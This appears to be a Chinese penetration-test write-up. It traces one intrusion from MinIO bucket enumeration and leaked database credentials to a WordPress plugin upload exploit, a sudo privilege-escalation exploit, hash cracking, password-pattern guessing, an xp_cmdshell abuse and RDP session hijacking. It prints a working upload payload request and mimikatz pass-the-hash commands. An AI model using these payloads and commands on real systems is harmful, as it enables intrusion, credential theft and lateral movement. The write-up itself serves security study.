0x01 背景
之前常见用rce、文件上传等漏洞获取webshell,偶然遇到一次敏感信息泄露获取权限的渗透,简单记录一下过程。
0x02 信息泄露
发现系统某端口部署了minio服务,经过探测发现存在minio存储桶遍历
使用利用工具把泄露的文件全部整理一下
把文件分类整理后发现 /backup.zip 文件。下载后解压,发现 config.php 文件,其中包含数据库连接信息:
DB_USER=admin
DB_PASS=1qa@xxx135(xxx为公司简称首字母大写)
DB_HOST=127.0.0.1
本地数据库地址可能有用,先放一放留着,继续进行信息收集。 继续探测发现其他端口发现有个web系统部署了WordPress,其中使用了一套开源票务插件js-support-ticket,存在文件上传漏洞可利用。
POST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
Host:
Content-Type: multipart/form-data; boundary=--------767099171
User-Agent: Mozilla/5.0 ----------767099171
Content-Disposition: form-data; name="action"configuration_saveconfiguration
----------767099171
Content-Disposition: form-data; name="form_request"jssupportticket
----------767099171
Content-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
Content-Type: image/png<?php echo md5(123);unlink(__FILE__);?>
----------767099171--
链接webshell获取 www-data 权限
查看系统版本
uname -a
Linux ubuntu-bionic 4.15.0-50-generic #54-Ubuntu SMP Mon May 15 15:20:34 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
目标服务器是Ubuntu 18.04,尝试CVE-2021-3156用于sudo提权。上传并执行获取root权限。
https://github.com/blasty/CVE-2021-3156
利用之前泄露的数据库凭据,成功连接mysql
mysql -h 127.0.0.1 -u root -p -P 3306
查询wp_users表,发现多个md5加密的密码,尝试破解发现其中一个管理员密码可以成功解密,但是尝试用来登录SSH则失败。 按照正常思路找几台内网主机做一下权限维持比较好,尤其是Windows机器用起来更方便,使用Tscan收集内网信息横向移动,存活多台Windows内网主机,但没有发现明显可利用的漏洞。 回顾刚才的数据库密码发现135对应Linux主机内网地址,那么根据已有的Windows主机ip地址推测密码规律,尝试登录成功一台Windows主机
0x03 内网横向
内网横向发现mssql数据库,开xpcmdshell发现为system权限
添加管理员权限账户qax,3389连接获取劫持rdp
已经开启3389远程桌面
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
远程桌面连接rdp劫持获取管理员权限
privilege::debug #提权ts::sessions #查看当前主机的会话token::elevate #提升本地管理员权限为systemts::remote /id:1 #劫持id为1的会话或者privilege::debugsekurlsa::pth /user:9821 /domain:DESKTOP-6RVIHJ2 /ntlm:e5df2c988f0d77ef35a9bdc95b5 "/run:mstsc.exe /restrictedadmin"
成功登录目标服务器,接下来可以用tscan获取更多内网资产信息。至此完成了从外网渗透到内网控制的全过程。